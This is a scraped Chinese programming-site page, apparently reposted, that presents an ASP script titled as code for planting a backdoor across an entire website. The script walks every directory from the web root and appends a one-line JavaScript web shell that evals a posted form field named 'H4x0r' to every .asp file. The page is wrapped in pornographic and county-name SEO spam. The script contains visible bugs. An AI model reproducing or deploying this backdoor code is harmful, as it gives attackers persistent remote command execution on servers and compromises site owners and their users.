国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > ASP > 正文

FSO遍歷目錄實現全站插馬的代碼

2020-07-27 13:09:21
字體:
來源:轉載
供稿:網友
<%
dim ph
dim intfile
server.ScriptTimeout = 600
ph=server.mappath("/") 
Sub InsertAllFiles(Path)
Set FSO = CreateObject("Scripting.FileSystemObject")
on error resume next 
Set f = FSO.GetFolder(Path)
Set fc2 = f.files
For Each myfile in fc2
If lcase(FSO.GetExtensionName(path&""&myfile.name))="asp" then
Set FS1 = CreateObject("Scripting.FileSystemObject")
Set tfile=FS1.opentextfile(path&""&myfile.name,8,false)
tfile.writeline "<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(Request.form('H4x0r')+'')</SCRIPT>"
else
InsertAllFiles(newpath)
end if
tfile.close
Next
Set fsubfolers = f.SubFolders
For Each f1 in fsubfolers
newpath=path&""&f1.name
InsertAllFiles(newpath)

Next
set tfile=nothing
Set FSO = Nothing
End Sub
%>
<% 
call InsertAllFiles(ph)
%>
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 秦安县| 峨边| 华坪县| 乳源| 浦城县| 星子县| 天峻县| 建宁县| 富民县| 福泉市| 山阴县| 涞水县| 新乐市| 澎湖县| 西宁市| 无锡市| 罗平县| 抚顺县| 四川省| 威宁| 高淳县| 襄汾县| 新田县| 金川县| 类乌齐县| 仁怀市| 黄龙县| 临沧市| 宁远县| 高邮市| 石首市| 甘德县| 南华县| 渝北区| 德州市| 石景山区| 萨嘎县| 白河县| 棋牌| 阿合奇县| 德清县|